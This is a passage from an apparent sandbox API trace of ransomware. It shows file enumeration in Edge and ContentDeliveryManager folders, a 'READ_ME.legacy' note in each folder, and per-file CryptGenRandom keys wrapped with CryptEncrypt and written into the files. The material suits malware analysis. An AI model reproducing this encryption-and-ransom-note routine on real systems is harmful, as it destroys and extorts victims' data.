lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.195] CloseHandle (hObject=0x1bb8) returned 1 [0193.196] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d44b0 [0193.196] FindNextFileW (in: hFindFile=0x30d44b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d44b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f48a671, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3f48a671, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Default", cAlternateFileName="")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d44b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc0f511, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc0f511, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d44b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc0f511, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc0f511, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc0f511, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.197] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4530 [0193.197] FindNextFileW (in: hFindFile=0x30d4530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d4530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d4530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.197] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4130 [0193.197] FindNextFileW (in: hFindFile=0x30d4130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d4130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.197] FindNextFileW (in: hFindFile=0x30d4130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.198] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d41b0 [0193.198] FindNextFileW (in: hFindFile=0x30d41b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.198] FindNextFileW (in: hFindFile=0x30d41b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb322b8d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb322b8d4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.198] FindNextFileW (in: hFindFile=0x30d41b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.198] FindNextFileW (in: hFindFile=0x30d41b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbc81ca6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbc81ca6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbc81ca6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.198] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0193.198] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc8 [0193.199] GetFileSizeEx (in: hFile=0x1bc8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.199] ReadFile (in: hFile=0x1bc8, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.199] SetFilePointer (in: hFile=0x1bc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.199] WriteFile (in: hFile=0x1bc8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.199] SetFilePointer (in: hFile=0x1bc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.200] WriteFile (in: hFile=0x1bc8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.200] WriteFile (in: hFile=0x1bc8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.200] CloseHandle (hObject=0x1bc8) returned 1 [0193.203] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\InPrivate\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbd669fb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d43f0 [0193.204] FindNextFileW (in: hFindFile=0x30d43f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbd669fb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d43f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbd669fb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd669fb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d43f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbd669fb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd669fb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.204] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4430 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735da87a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x735da87a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x73626e75, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x189c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504773410", cAlternateFileName="150477~1")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x83f7d6d8, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa4a596a5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8387c826, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa4a596a5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd8cc84, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd8cc84, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.204] FindNextFileW (in: hFindFile=0x30d4430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd8cc84, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd8cc84, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.204] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.205] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd0 [0193.205] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.205] ReadFile (in: hFile=0x1bd0, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.205] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.205] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.206] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.206] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.207] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.207] CloseHandle (hObject=0x1bd0) returned 1 [0193.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.208] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.208] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd0 [0193.209] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.209] ReadFile (in: hFile=0x1bd0, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.209] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.209] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.209] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, 